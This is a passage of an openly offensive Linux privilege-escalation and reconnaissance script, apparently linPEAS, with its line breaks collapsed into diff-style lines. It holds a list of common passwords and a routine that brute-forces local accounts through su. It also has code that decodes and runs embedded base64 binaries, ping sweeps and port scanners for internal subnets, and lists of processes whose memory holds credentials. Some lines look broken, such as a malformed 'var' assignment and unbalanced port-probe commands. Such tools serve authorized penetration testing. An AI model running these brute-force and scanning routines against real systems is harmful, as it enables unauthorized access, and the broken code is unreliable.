russia roberts register qwert123 penguins panda ncc1701d miracle melvin lonely lexmark kitkat julie graham frances estrella downtown doodle deborah cooler colombia chemistry cactus bridge bollocks beetle anastasia 741852963 69696969 unique sweets station showtime sheena santos rock revolution reading qwerasdf password2 mongoose marlene maiden machine juliet illusion hayden fabian derrick crazy cooldude chipper bomber blonde bigred amazing aliens abracadabra 123qweasd wwwwww treasure timber smith shelly sesame pirates pinkfloyd passwords nature marlin marines linkinpark larissa laptop hotrod gambit elvis education dustin devils damian christy braves baller anarchy white valeria underground strong poopoo monalisa memory lizzie keeper justdoit house homer gerard ericsson emily divine colleen chelsea1 cccccc camera bonbon billie bigfoot badass asterix anna animals \ -andy achilles a1s2d3f4 violin veronika vegeta tyler test1234 teddybear tatiana sporting spartan shelley sharks respect raven pentium papillon nevermind marketing manson madness juliette jericho gabrielle fuckyou2 forgot firewall faith evolution eric eduardo dagger cristian cavalier canadian bruno blowjob blackie beagle admin123 010101 together spongebob snakes sherman reddog reality ramona puppies pedro pacific pa55w0rd omega noodle murray mollie mister halflife franco foster formula1 felix dragonball desiree default chris1 bunny bobcat asdf123 951753 5555 242424 thirteen tattoo stonecold stinger shiloh seattle santana roger roberta rastaman pickles orion mustang1 felicia dracula doggie cucumber cassidy britney brianna blaster belinda apple1 753951 teddy striker stevie soleil snake skateboard sheridan sexsex roxanne redman qqqqqqqq punisher panama paladin none lovelife lights jerry iverson inside hornet holden groovy gretchen grandma gangsta faster eddie chevelle chester1 carrot cannon button administrator a 1212 zxc123 wireless volleyball vietnam twinkle terror sandiego rose pokemon1 picture parrot movies moose mirror milton mayday maestro lollypop katana johanna hunting hudson grizzly gorgeous garbage fish ernest dolores conrad chickens charity casey blueberry blackman blackbird bill beckham battle atlantic wildfire weasel waterloo trance storm singapore shooter rocknroll richie poop pitbull mississippi kisses karen juliana james123 iguana homework highland fire elliot eldorado ducati discover computer1 buddy1 antonia alphabet 159951 123456789a 1123581321 0123456 zaq1xsw2 webmaster vagina unreal university tropical swimmer sugar southpark silence sammie ravens question presario poiuytrewq palmer notebook newman nebraska manutd lucas hermes gators dave dalton cheetah cedric camilla bullseye bridget bingo ashton 123asd yahoo volume valhalla tomorrow starlight scruffy roscoe richard1 positive \ -plymouth pepsi patrick1 paradox milano maxima loser lestat gizmo ghetto faithful emerson elliott dominique doberman dillon criminal crackers converse chrissy casanova blowme attitude" -PASSTRY="2000" # Default num of passwds to try (all by default) - -if [ "$PORTS" ] || [ "$DISCOVERY" ] || [ "$IP" ] || [ "$AUTO_NETWORK_SCAN" ]; then MAXPATH_FIND_W="1"; fi # If Network reduce the time on this -SEDOVERFLOW=true -for grp in $(groups $USER 2>/dev/null | cut -d ":" -f2); do - wgroups="$wgroups -group $grp -or " -done -wgroups="$(echo $wgroups | sed -e 's/ -or$//')" -while $SEDOVERFLOW; do - #WF=`find /dev /srv /proc /home /media /sys /lost+found /run /etc /root /var /tmp /mnt /boot /opt -type d -maxdepth $MAXPATH_FIND_W -writable -or -user $USER 2>/dev/null | sort` - #if [ "$MACPEAS" ]; then - WF=$(find / -maxdepth $MAXPATH_FIND_W -type d ! -path "/proc/*" '(' '(' -user $USER ')' -or '(' -perm -o=w ')' -or '(' -perm -g=w -and '(' $wgroups ')' ')' ')' 2>/dev/null | sort) #OpenBSD find command doesn't have "-writable" option - #else - # WF=`find / -maxdepth $MAXPATH_FIND_W -type d ! -path "/proc/*" -and '(' -writable -or -user $USER ')' 2>/dev/null | sort` - #fi - Wfolders=$(printf "%s" "$WF" | tr '\n' '|')"|[a-zA-Z]+[a-zA-Z0-9]* +\*" - Wfolder="$(printf "%s" "$WF" | grep "/shm" | head -n1)" # Try to get /dev/shm - if ! [ "$Wfolder" ]; then - Wfolder="$(printf "%s" "$WF" | grep "tmp\|shm\|home\|Users\|root\|etc\|var\|opt\|bin\|lib\|mnt\|private\|Applications" | head -n1)" - fi - printf "test\ntest\ntest\ntest"| sed -${E} "s,$Wfolders|\./|\.:|:\.,${SED_RED_YELLOW},g" >/dev/null 2>&1 - if [ $? -eq 0 ]; then - SEDOVERFLOW=false - else - MAXPATH_FIND_W=$(($MAXPATH_FIND_W-1)) # If overflow of directories, check again with MAXPATH_FIND_W - 1 - fi - if [ $MAXPATH_FIND_W -lt 1 ] ; then # Prevents infinite loop - SEDOVERFLOW=false - fi -done - - -notExtensions="\.tif$|\.tiff$|\.gif$|\.jpeg$|\.jpg|\.jif$|\.jfif$|\.jp2$|\.jpx$|\.j2k$|\.j2c$|\.fpx$|\.pcd$|\.png$|\.pdf$|\.flv$|\.mp4$|\.mp3$|\.gifv$|\.avi$|\.mov$|\.mpeg$|\.wav$|\.doc$|\.docx$|\.xls$|\.xlsx$|\.svg$" - -TIMEOUT="$(command -v timeout 2>/dev/null)" -STRACE="$(command -v strace 2>/dev/null)" -STRINGS="$(command -v strings 2>/dev/null)" -LDD="$(command -v ldd 2>/dev/null)" -READELF="$(command -v readelf 2>/dev/null)" - -shscripsG="/0trace.sh|/alsa-info.sh|amuFormat.sh|/blueranger.sh|/crosh.sh|/dnsmap-bulk.sh|/dockerd-rootless.sh|/dockerd-rootless-setuptool.sh|/get_bluetooth_device_class.sh|/gettext.sh|/go-rhn.sh|/gvmap.sh|/kernel_log_collector.sh|/lesspipe.sh|/lprsetup.sh|/mksmbpasswd.sh|/pm-utils-bugreport-info.sh|/power_report.sh|/prl-opengl-switcher.sh|/setuporamysql.sh|/setup-nsssysinit.sh|/readlink_f.sh|/rescan-scsi-bus.sh|/start_bluetoothd.sh|/start_bluetoothlog.sh|/testacg.sh|/testlahf.sh|/unix-lpr.sh|/url_handler.sh|/write_gpt.sh" - -notBackup="/tdbbackup$|/db_hotbackup$" - -cronjobsG=".placeholder|0anacron|0hourly|110.clean-tmps|130.clean-msgs|140.clean-rwho|199.clean-fax|199.rotate-fax|200.accounting|310.accounting|400.status-disks|420.status-network|430.status-rwho|999.local|anacron|apache2|apport|apt|aptitude|apt-compat|bsdmainutils|certwatch|cracklib-runtime|debtags|dpkg|e2scrub_all|exim4-base|fake-hwclock|fstrim|john|locate|logrotate|man-db.cron|man-db|mdadm|mlocate|mod-pagespeed|ntp|passwd|php|popularity-contest|raid-check|rwhod|samba|standard|sysstat|ubuntu-advantage-tools|update-motd|update-notifier-common|upstart|" -cronjobsB="centreon" - -processesVB='jdwp|tmux |screen | inspect |--inspect[= ]|--inspect$|--inpect-brk|--remote-debugging-port' -processesB="amazon-ssm-agent|knockd|splunk" -processesDump="gdm-password|gnome-keyring-daemon|lightdm|vsftpd|apache2|sshd:" - -mail_apps="Postfix|Dovecot|Exim|SquirrelMail|Cyrus|Sendmail|Courier" - -profiledG="01-locale-fix.sh|256term.csh|256term.sh|abrt-console-notification.sh|appmenu-qt5.sh|apps-bin-path.sh|bash_completion.sh|cedilla-portuguese.sh|colorgrep.csh|colorgrep.sh|colorls.csh|colorls.sh|colorxzgrep.csh|colorxzgrep.sh|colorzgrep.csh|colorzgrep.sh|csh.local|cursor.sh|gawk.csh|gawk.sh|im-config_wayland.sh|kali.sh|lang.csh|lang.sh|less.csh|less.sh|flatpak.sh|sh.local|vim.csh|vim.sh|vte.csh|vte-2.91.sh|which2.csh|which2.sh|xauthority.sh|Z97-byobu.sh|xdg_dirs_desktop_session.sh|Z99-cloudinit-warnings.sh|Z99-cloud-locale-test.sh" - -knw_emails=".*@aivazian.fsnet.co.uk|.*@angband.pl|.*@canonical.com|.*centos.org|.*debian.net|.*debian.org|.*@jff.email|.*kali.org|.*linux.it|.*@linuxia.de|.*@lists.debian-maintainers.org|.*@mit.edu|.*@oss.sgi.com|.*@qualcomm.com|.*redhat.com|.*ubuntu.com|.*@vger.kernel.org|mmyangfl@gmail.com|rogershimizu@gmail.com|thmarques@gmail.com" - -timersG="anacron.timer|apt-daily.timer|apt-daily-upgrade.timer|dpkg-db-backup.timer|e2scrub_all.timer|fstrim.timer|fwupd-refresh.timer|geoipupdate.timer|io.netplan.Netplan|logrotate.timer|man-db.timer|mlocate.timer|motd-news.timer|phpsessionclean.timer|plocate-updatedb.timer|snapd.refresh.timer|snapd.snap-repair.timer|systemd-tmpfiles-clean.timer|systemd-readahead-done.timer|ua-license-check.timer|ua-messaging.timer|ua-timer.timer|ureadahead-stop.timer" - -commonrootdirsG="^/$|/bin$|/boot$|/.cache$|/cdrom|/dev$|/etc$|/home$|/lost+found$|/lib$|/lib32$|libx32$|/lib64$|lost\+found|/media$|/mnt$|/opt$|/proc$|/root$|/run$|/sbin$|/snap$|/srv$|/sys$|/tmp$|/usr$|/var$" -commonrootdirsMacG="^/$|/.DocumentRevisions-V100|/.fseventsd|/.PKInstallSandboxManager-SystemSoftware|/.Spotlight-V100|/.Trashes|/.vol|/Applications|/bin|/cores|/dev|/home|/Library|/macOS Install Data|/net|/Network|/opt|/private|/sbin|/System|/Users|/usr|/Volumes" - -ldsoconfdG="/lib32|/lib/x86_64-linux-gnu|/usr/lib32|/usr/lib/oracle/19.6/client64/lib/|/usr/lib/x86_64-linux-gnu/libfakeroot|/usr/lib/x86_64-linux-gnu|/usr/local/lib/x86_64-linux-gnu|/usr/local/lib" - -dbuslistG="^:1\.[0-9\.]+|com.hp.hplip|com.intel.tss2.Tabrmd|com.redhat.ifcfgrh1|com.redhat.NewPrinterNotification|com.redhat.PrinterDriversInstaller|com.redhat.RHSM1|com.redhat.RHSM1.Facts|com.redhat.tuned|com.ubuntu.LanguageSelector|com.ubuntu.SoftwareProperties|com.ubuntu.SystemService|com.ubuntu.USBCreator|com.ubuntu.WhoopsiePreferences|io.netplan.Netplan|io.snapcraft.SnapdLoginService|fi.epitest.hostap.WPASupplicant|fi.w1.wpa_supplicant1|NAME|net.hadess.SwitcherooControl|org.blueman.Mechanism|org.bluez|org.debian.apt|org.fedoraproject.FirewallD1|org.fedoraproject.Setroubleshootd|org.fedoraproject.SetroubleshootFixit|org.fedoraproject.SetroubleshootPrivileged|org.freedesktop.Accounts|org.freedesktop.Avahi|org.freedesktop.bolt|org.freedesktop.ColorManager|org.freedesktop.DBus|org.freedesktop.DisplayManager|org.freedesktop.fwupd|org.freedesktop.GeoClue2|org.freedesktop.hostname1|org.freedesktop.import1|org.freedesktop.locale1|org.freedesktop.login1|org.freedesktop.machine1|org.freedesktop.ModemManager1|org.freedesktop.NetworkManager|org.freedesktop.network1|org.freedesktop.nm_dispatcher|org.freedesktop.nm_priv_helper|org.freedesktop.PackageKit|org.freedesktop.PolicyKit1|org.freedesktop.portable1|org.freedesktop.realmd|org.freedesktop.RealtimeKit1|org.freedesktop.SystemToolsBackends|org.freedesktop.SystemToolsBackends.[a-zA-Z0-9_]+|org.freedesktop.resolve1|org.freedesktop.systemd1|org.freedesktop.thermald|org.freedesktop.timedate1|org.freedesktop.timesync1|org.freedesktop.UDisks2|org.freedesktop.UPower|org.gnome.DisplayManager|org.opensuse.CupsPkHelper.Mechanism" -USEFUL_SOFTWARE="authbind aws az base64 ctr curl doas docker fetch g++ gcc gcloud gdb kubectl lxc make nc nc.traditional ncat netcat nmap perl php ping podman python python2 python2.6 python2.7 python3 python3.6 python3.7 pwsh rkt ruby runc socat sudo wget xterm" -TIP_DOCKER_ROOTLESS="In rootless mode privilege escalation to root will not be possible." -GREP_DOCKER_SOCK_INFOS="Architecture|OSType|Name|DockerRootDir|NCPU|OperatingSystem|KernelVersion|ServerVersion" -GREP_DOCKER_SOCK_INFOS_IGNORE="IndexConfig" -GREP_IGNORE_MOUNTS="/ /|/null | proc proc |/dev/console" - -INT_HIDDEN_FILES="peass{INT_HIDDEN_FILES}" - -FAT_LINPEAS_AMICONTAINED="peass{AMICONTAINED}" -FAT_LINPEAS_GITLEAKS_LINUX="peass{GITLEAKS_LINUX}" -FAT_LINPEAS_GITLEAKS_MACOS="peass{GITLEAKS_MACOS}" - -########################################### -#---------) Checks before start (---------# -########################################### -# --) ps working good -# --) Network binaries - -if [ "$(ps auxwww 2>/dev/null | wc -l 2>/dev/null)" -lt 8 ]; then - NOUSEPS="1" -fi - -DISCOVER_BAN_BAD="No network discovery capabilities (fping or ping not found)" -FPING=$(command -v fping 2>/dev/null) -PING=$(command -v ping 2>/dev/null) -if [ "$FPING" ]; then - DISCOVER_BAN_GOOD="$GREEN$FPING${BLUE} is available for network discovery$LG ($SCRIPTNAME can discover hosts, learn more with -h)" -else - if [ "$PING" ]; then - DISCOVER_BAN_GOOD="$GREEN$PING${BLUE} is available for network discovery$LG ($SCRIPTNAME can discover hosts, learn more with -h)" - fi -fi - -SCAN_BAN_BAD="No port scan capabilities (nc and bash not found)" - -if [ "$(command -v bash)" ] && ! [ -L "$(command -v bash)" ]; then - FOUND_BASH=$(command -v bash); -elif [ -f "/bin/bash" ] && ! [ -L "/bin/bash" ]; then - FOUND_BASH="/bin/bash"; -fi -if [ "$FOUND_BASH" ]; then - SCAN_BAN_GOOD="$YELLOW[+] $GREEN$FOUND_BASH${BLUE} is available for network discovery, port scanning and port forwarding$LG ($SCRIPTNAME can discover hosts, scan ports, and forward ports. Learn more with -h)\n" -fi - -FOUND_NC=$(command -v nc 2>/dev/null) -if [ -z "$FOUND_NC" ]; then - FOUND_NC=$(command -v netcat 2>/dev/null); -fi -if [ -z "$FOUND_NC" ]; then - FOUND_NC=$(command -v ncat 2>/dev/null); -fi -if [ -z "$FOUND_NC" ]; then - FOUND_NC=$(command -v nc.traditional 2>/dev/null); -fi -if [ -z "$FOUND_NC" ]; then - FOUND_NC=$(command -v nc.openbsd 2>/dev/null); -fi -if [ "$FOUND_NC" ]; then - SCAN_BAN_GOOD="$SCAN_BAN_GOOD$YELLOW[+] $GREEN$FOUND_NC${BLUE} is available for network discovery & port scanning$LG ($SCRIPTNAME can discover hosts and scan ports, learn more with -h)\n" -fi - - -########################################### -#-----------) Main Functions (------------# -########################################### - -echo_not_found (){ - printf $DG"$1 Not Found\n"$NC -} - -warn_exec(){ - $* 2>/dev/null || echo_not_found $1 -} - -echo_no (){ - printf $DG"No\n"$NC -} - -print_title(){ - if [ "$DEBUG" ]; then - END_T2_TIME=$(date +%s 2>/dev/null) - if [ "$START_T2_TIME" ]; then - TOTAL_T2_TIME=$(($END_T2_TIME - $START_T2_TIME)) - printf $DG"This check took $TOTAL_T2_TIME seconds\n"$NC - fi - - END_T1_TIME=$(date +%s 2>/dev/null) - if [ "$START_T1_TIME" ]; then - TOTAL_T1_TIME=$(($END_T1_TIME - $START_T1_TIME)) - printf $DG"The total section execution took $TOTAL_T1_TIME seconds\n"$NC - echo "" - fi - - START_T1_TIME=$(date +%s 2>/dev/null) - fi - - title=$1 - title_len=$(echo $title | wc -c) - max_title_len=80 - rest_len=$((($max_title_len - $title_len) / 2)) - - printf ${BLUE} - for i in $(seq 1 $rest_len); do printf " "; done - printf "╔" - for i in $(seq 1 $title_len); do printf "═"; done; printf "═"; - printf "╗" - - echo "" - - for i in $(seq 1 $rest_len); do printf "═"; done - printf "╣ $GREEN${title}${BLUE} ╠" - for i in $(seq 1 $rest_len); do printf "═"; done - - echo "" - - printf ${BLUE} - for i in $(seq 1 $rest_len); do printf " "; done - printf "╚" - for i in $(seq 1 $title_len); do printf "═"; done; printf "═"; - printf "╝" - - printf $NC - echo "" -} - -print_2title(){ - if [ "$DEBUG" ]; then - END_T2_TIME=$(date +%s 2>/dev/null) - if [ "$START_T2_TIME" ]; then - TOTAL_T2_TIME=$(($END_T2_TIME - $START_T2_TIME)) - printf $DG"This check took $TOTAL_T2_TIME seconds\n"$NC - echo "" - fi - - START_T2_TIME=$(date +%s 2>/dev/null) - fi - - printf ${BLUE}"╔══════════╣ $GREEN$1\n"$NC # There are 10 "═" -} - -print_3title(){ - printf ${BLUE}"══╣ $GREEN$1\n"$NC # There are 2 "═" -} - -print_3title_no_nl(){ - printf "\033[2K\r" - printf ${BLUE}"══╣ $GREEN${1}..."$NC # There are 2 "═" -} - -print_list(){ - printf ${BLUE}"═╣ $GREEN$1"$NC # There is 1 "═" -} - -print_info(){ - printf "${BLUE}╚ ${ITALIC_BLUE}$1\n"$NC -} - -print_ps (){ - (ls -d /proc/*/ 2>/dev/null | while read f; do - CMDLINE=$(cat $f/cmdline 2>/dev/null | grep -av "seds,"); # Delete my own sed processess - if [ "$CMDLINE" ]; - then var USER2=ls -ld $f | awk '{print $3}'; PID=$(echo $f | cut -d "/" -f3); - printf " %-13s %-8s %s\n" "$USER2" "$PID" "$CMDLINE"; - fi; - done) 2>/dev/null | sort -r -} - -su_try_pwd (){ - BFUSER=$1 - PASSWORDTRY=$2 - trysu=$(echo "$PASSWORDTRY" | timeout 1 su $BFUSER -c whoami 2>/dev/null) - if [ "$trysu" ]; then - echo " You can login as $BFUSER using password: $PASSWORDTRY" | sed -${E} "s,.*,${SED_RED_YELLOW}," - fi -} - -su_brute_user_num (){ - BFUSER=$1 - TRIES=$2 - su_try_pwd "$BFUSER" "" & # Try without password - su_try_pwd "$BFUSER" "$BFUSER" & # Try username as password - su_try_pwd "$BFUSER" "$(echo $BFUSER | rev 2>/dev/null)" & # Try reverse username as password - if [ "$PASSWORD" ]; then - su_try_pwd "$BFUSER" "$PASSWORD" & # Try given password - fi - for i in $(seq "$TRIES"); do - su_try_pwd "$BFUSER" "$(echo $top2000pwds | cut -d ' ' -f $i)" & # Try TOP TRIES of passwords (by default 2000) - sleep 0.007 # To not overload the system - done - wait -} - -check_if_su_brute(){ - EXISTS_SU="$(command -v su 2>/dev/null)" - error=$(echo "" | timeout 1 su $(whoami) -c whoami 2>&1); - if [ "$EXISTS_SU" ] && ! echo $error | grep -q "must be run from a terminal"; then - echo "1" - fi -} - -eval_bckgrd(){ - eval "$1" & - CONT_THREADS=$(($CONT_THREADS+1)); if [ "$(($CONT_THREADS%$THREADS))" -eq "0" ]; then wait; fi -} - -macosNotSigned(){ - for filename in $1/*; do - if codesign -vv -d \"$filename\" 2>&1 | grep -q 'not signed'; then - echo "$filename isn't signed" | sed -${E} "s,.*,${SED_RED}," - fi - done -} - -execBin(){ - TOOL_NAME=$1 - TOOL_LINK=$2 - B64_BIN=$3 - PARAMS=$4 - if [ "$B64_BIN" ]; then - echo "" - print_3title "Running $TOOL_NAME" - print_info "$TOOL_LINK" - echo "$B64_BIN" | base64 -d > $Wfolder/bin - chmod +x $Wfolder/bin - eval "$Wfolder/bin $PARAMS" - rm -f $Wfolder/bin - echo "" - fi -} - -########################################### -#---------) Internet functions (----------# -########################################### -check_tcp_80(){ - (timeout -s KILL 20 /bin/bash -c '( echo >/dev/tcp/1.1.1.1/80 && echo "Port 80 is accessible" || echo "Port 80 is not accessible") 2>/dev/null | grep "accessible"') 2>/dev/null || echo "Port 80 is not accessible" -} -check_tcp_443(){ - (timeout -s KILL 20 /bin/bash -c '(echo >/dev/tcp/1.1.1.1/443 && echo "Port 443 is accessible" || echo "Port 443 is not accessible") 2>/dev/null | grep "accessible"') 2>/dev/null || echo "Port 443 is not accessible" -} -check_icmp(){ - (timeout -s KILL 20 /bin/bash -c '(ping -c 1 1.1.1.1 | grep "1 received" && echo "Ping is available" || echo "Ping is not available") 2>/dev/null | grep "available"') 2>/dev/null || echo "Ping is not available" -} -# DNS function from: https://unix.stackexchange.com/questions/600194/create-dns-query-with-netcat-or-dev-udp -# I cannot use this function because timeout doesn't find it, so it's copy/pasted below -check_dns(){ - (timeout 20 /bin/bash -c '(( echo cfc9 0100 0001 0000 0000 0000 0a64 7563 6b64 7563 6b67 6f03 636f 6d00 0001 0001 | xxd -p -r >&3; dd bs=9000 count=1 <&3 2>/dev/null | xxd ) 3>/dev/udp/1.1.1.1/53 && echo "DNS available" || echo "DNS not available") 2>/dev/null | grep "available"' ) 2>/dev/null || echo "DNS not available" -} - -########################################### -#----------) Network functions (----------# -########################################### - -basic_net_info(){ - print_title "Basic Network Info" - (ifconfig || ip a) 2>/dev/null - echo "" -} - -select_nc (){ - # Select the correct configuration of the netcat found - NC_SCAN="$FOUND_NC -v -n -z -w 1" - $($NC_SCAN 127.0.0.1 65321 > /dev/null 2>&1) - if [ $? -eq 2 ] - then - NC_SCAN="timeout 1 $FOUND_NC -v -n" - fi -} - -icmp_recon (){ - # Discover hosts inside a /24 subnetwork using ping (start pingging broadcast addresses) - IP3=$(echo $1 | cut -d "." -f 1,2,3) - - (timeout 1 ping -b -c 1 "$IP3.255" 2>/dev/null | grep "icmp_seq" | sed -${E} "s,[0-9]+\.[0-9]+\.[0-9]+\.[0-9]+,${SED_RED},") & - (timeout 1 ping -b -c 1 "255.255.255.255" 2>/dev/null | grep "icmp_seq" | sed -${E} "s,[0-9]+\.[0-9]+\.[0-9]+\.[0-9]+,${SED_RED},") & - for j in $(seq 0 254) - do - (timeout 1 ping -b -c 1 "$IP3.$j" 2>/dev/null | grep "icmp_seq" | sed -${E} "s,[0-9]+\.[0-9]+\.[0-9]+\.[0-9]+,${SED_RED},") & - done - wait -} - -tcp_recon (){ - # Discover hosts inside a /24 subnetwork using tcp connection to most used ports and selected ones - IP3=$(echo $1 | cut -d "." -f 1,2,3) - PORTS=$2 - printf ${YELLOW}"[+]${BLUE} Ports going to be scanned: $PORTS" $NC | tr '\n' " " - printf "$NC\n" - - for port in $PORTS; do - for j in $(seq 1 254) - do - if [ "$FOUND_BASH" ] && [ "$TIMEOUT" ]; then - $TIMEOUT 2.5 $FOUND_BASH -c "(echo /dev/null && echo -e \"\n[+] Open port at: $IP3.$j:$port\"" & - elif [ "$NC_SCAN" ]; then - ($NC_SCAN "$IP3"."$j" "$port" 2>&1 | grep -iv "Connection refused\|No route\|Version\|bytes\| out" | sed -${E} "s,[0-9\.],${SED_RED},g") & - fi - done - wait - done -} - -tcp_port_scan (){ - # Scan open ports of a host. Default: nmap top 1000, but the user can select others - basic_net_info - - print_title "Network Port Scanning" - IP=$1 - PORTS="$2" - - if [ -z "$PORTS" ]; then - printf ${YELLOW}"[+]${BLUE} Ports going to be scanned: DEFAULT (nmap top 1000)" $NC | tr '\n' " " - printf "$NC\n" - PORTS="1 3 4 6 7 9 13 17 19 20 21 22 23 24 25 26 30 32 33 37 42 43 49 53 70 79 80 81 82 83 84 85 88 89 90 99 100 106 109 110 111 113 119 125 135 139 143 144 146 161 163 179 199 211 212 222 254 255 256 259 264 280 301 306 311 340 366 389 406 407 416 417 425 427 443 444 445 458 464 465 481 497 500 512 513 514 515 524 541 543 544 545 548 554 555 563 587 593 616 617 625 631 636 646 648 666 667 668 683 687 691 700 705 711 714 720 722 726 749 765 777 783 787 800 801 808 843 873 880 888 898 900 901 902 903 911 912 981 987 990 992 993 995 999 1000 1001 1002 1007 1009 1010 1011 1021 1022 1023 1024 1025 1026 1027 1028 1029 1030 1031 1032 1033 1034 1035 1036 1037 1038 1039 1040 1041 1042 1043 1044 1045 1046 1047 1048 1049 1050 1051 1052 1053 1054 1055 1056 1057 1058 1059 1060 1061 1062 1063 1064 1065 1066 1067 1068 1069 1070 1071 1072 1073 1074 1075 1076 1077 1078 1079 1080 1081 1082 1083 1084 1085 1086 1087 1088 1089 1090 1091 1092 1093 1094 1095 1096 1097 1098 1099 1100 1102 1104 1105 1106 1107 1108 1110 1111 1112 1113 1114 1117 1119 1121 1122 1123 1124 1126 1130 1131 1132 1137 1138 1141 1145 1147 1148 1149 1151 1152 1154 1163 1164 1165 1166 1169 1174 1175 1183 1185 1186 1187 1192 1198 1199 1201 1213 1216 1217 1218 1233 1234 1236 1244 1247 1248 1259 1271 1272 1277 1287 1296 1300 1301 1309 1310 1311 1322 1328 1334 1352 1417 1433 1434 1443 1455 1461 1494 1500 1501 1503 1521 1524 1533 1556 1580 1583 1594 1600 1641 1658 1666 1687 1688 1700 1717 1718 1719 1720 1721 1723 1755 1761 1782 1783 1801 1805 1812 1839 1840 1862 1863 1864 1875 1900 1914 1935 1947 1971 1972 1974 1984 1998 1999 2000 2001 2002 2003 2004 2005 2006 2007 2008 2009 2010 2013 2020 2021 2022 2030 2033 2034 2035 2038 2040 2041 2042 2043 2045 2046 2047 2048 2049 2065 2068 2099 2100 2103 2105 2106 2107 2111 2119 2121 2126 2135 2144 2160 2161 2170 2179 2190 2191 2196 2200 2222 2251 2260 2288 2301 2323 2366 2381 2382 2383 2393 2394 2399 2401 2492 2500 2522 2525 2557 2601 2602 2604 2605 2607 2608 2638 2701 2702 2710 2717 2718 2725 2800 2809 2811 2869 2875 2909 2910 2920 2967 2968 2998 3000 3001 3003 3005 3006 3007 3011 3013 3017 3030 3031 3052 3071 3077 3128 3168 3211 3221 3260 3261 3268 3269 3283 3300 3301 3306 3322 3323 3324 3325 3333 3351 3367 3369 3370 3371 3372 3389 3390 3404 3476 3493 3517 3527 3546 3551 3580 3659 3689 3690 3703 3737 3766 3784 3800 3801 3809 3814 3826 3827 3828 3851 3869 3871 3878 3880 3889 3905 3914 3918 3920 3945 3971 3986 3995 3998 4000 4001 4002 4003 4004 4005 4006 4045 4111 4125 4126 4129 4224 4242 4279 4321 4343 4443 4444 4445 4446 4449 4550 4567 4662 4848 4899 4900 4998 5000 5001 5002 5003 5004 5009 5030 5033 5050 5051 5054 5060 5061 5080 5087 5100 5101 5102 5120 5190 5200 5214 5221 5222 5225 5226 5269 5280 5298 5357 5405 5414 5431 5432 5440 5500 5510 5544 5550 5555 5560 5566 5631 5633 5666 5678 5679 5718 5730 5800 5801 5802 5810 5811 5815 5822 5825 5850 5859 5862 5877 5900 5901 5902 5903 5904 5906 5907 5910 5911 5915 5922 5925 5950 5952 5959 5960 5961 5962 5963 5987 5988 5989 5998 5999 6000 6001 6002 6003 6004 6005 6006 6007 6009 6025 6059 6100 6101 6106 6112 6123 6129 6156 6346 6389 6502 6510 6543 6547 6565 6566 6567 6580 6646 6666 6667 6668 6669 6689 6692 6699 6779 6788 6789 6792 6839 6881 6901 6969 7000 7001 7002 7004 7007 7019 7025 7070 7100 7103 7106 7200 7201 7402 7435 7443 7496 7512 7625 7627 7676 7741 7777 7778 7800 7911 7920 7921 7937 7938 7999 8000 8001 8002 8007 8008 8009 8010 8011 8021 8022 8031 8042 8045 8080 8081 8082 8083 8084 8085 8086 8087 8088 8089 8090 8093 8099 8100 8180 8181 8192 8193 8194 8200 8222 8254 8290 8291 8292 8300 8333 8383 8400 8402 8443 8500 8600 8649 8651 8652 8654 8701 8800 8873 8888 8899 8994 9000 9001 9002 9003 9009 9010 9011 9040 9050 9071 9080 9081 9090 9091 9099 9100 9101 9102 9103 9110 9111 9200 9207 9220 9290 9415 9418 9485 9500 9502 9503 9535 9575 9593 9594 9595 9618 9666 9876 9877 9878 9898 9900 9917 9929 9943 9944 9968 9998 9999 10000 10001 10002 10003 10004 10009 10010 10012 10024 10025 10082 10180 10215 10243 10566 10616 10617 10621 10626 10628 10629 10778 11110 11111 11967 12000 12174 12265 12345 13456 13722 13782 13783 14000 14238 14441 14442 15000 15002 15003 15004 15660 15742 16000 16001 16012 16016 16018 16080 16113 16992 16993 17877 17988 18040 18101 18988 19101 19283 19315 19350 19780 19801 19842 20000 20005 20031 20221 20222 20828 21571 22939 23502 24444 24800 25734 25735 26214 27000 27352 27353 27355 27356 27715 28201 30000 30718 30951 31038 31337 32768 32769 32770 32771 32772 32773 32774 32775 32776 32777 32778 32779 32780 32781 32782 32783 32784 32785 33354 33899 34571 34572 34573 35500 38292 40193 40911 41511 42510 44176 44442 44443 44501 45100 48080 49152 49153 49154 49155 49156 49157 49158 49159 49160 49161 49163 49165 49167 49175 49176 49400 49999 50000 50001 50002 50003 50006 50300 50389 50500 50636 50800 51103 51493 52673 52822 52848 52869 54045 54328 55055 55056 55555 55600 56737 56738 57294 57797 58080 60020 60443 61532 61900 62078 63331 64623 64680 65000 65129 65389" - else - PORTS="$(echo $PORTS | tr ',' ' ')" - printf ${YELLOW}"[+]${BLUE} Ports going to be scanned: $PORTS" $NC | tr '\n' " " - printf "$NC\n" - fi - - for port in $PORTS; do - if [ "$FOUND_BASH" ]; then - $FOUND_BASH -c "(echo /dev/null && echo -n \"[+] Open port at: $IP:$port\"" & - elif [ "$NC_SCAN" ]; then - ($NC_SCAN "$IP" "$port" 2>&1 | grep -iv "Connection refused\|No route\|Version\|bytes\| out" | sed -${E} "s,[0-9\.],${SED_RED},g") & - fi - done - wait -} - -discover_network (){ - # Check if IP and Netmask are correct and the use fping or ping to find hosts - basic_net_info - - print_title "Network Discovery" - - DISCOVERY=$1 - IP=$(echo "$DISCOVERY" | cut -d "/" -f 1) - NETMASK=$(echo "$DISCOVERY" | cut -d "/" -f 2) - - if [ -z "$IP" ] || [ -z "$NETMASK" ]; then - printf $RED"[-] Err: Bad format. Example: 127.0.0.1/24"$NC; - printf ${BLUE}"$HELP"$NC; - exit 0 - fi - - # Using fping if possible - if [ "$FPING" ]; then - $FPING -a -q -g "$DISCOVERY" | sed -${E} "s,.*,${SED_RED}," - - # Loop using ping - else - if [ "$NETMASK" -eq "24" ]; then - printf ${YELLOW}"[+]$GREEN Netmask /24 detected, starting...\n$NC" - icmp_recon $IP - - elif [ "$NETMASK" -eq "16" ]; then - printf ${YELLOW}"[+]$GREEN Netmask /16 detected, starting...\n$NC" - for i in $(seq 1 254) - do - NEWIP=$(echo "$IP" | cut -d "." -f 1,2).$i.1 - icmp_recon "$NEWIP" - done - else - printf $RED"[-] Err: Sorry, only Netmask /24 and /16 supported in ping mode. Netmask detected: $NETMASK"$NC; - exit 0 - fi - fi -} - -discovery_port_scan (){ - basic_net_info - - # Check if IP and Netmask are correct and the use nc to find hosts. By default check ports: 22 80 443 445 3389 - print_title "Internal Network Discovery - Finding hosts and scanning ports" - DISCOVERY=$1 - MYPORTS=$2 - - IP=$(echo "$DISCOVERY" | cut -d "/" -f 1) - NETMASK=$(echo "$DISCOVERY" | cut -d "/" -f 2) - echo "Scanning: $DISCOVERY" - - if [ -z "$IP" ] 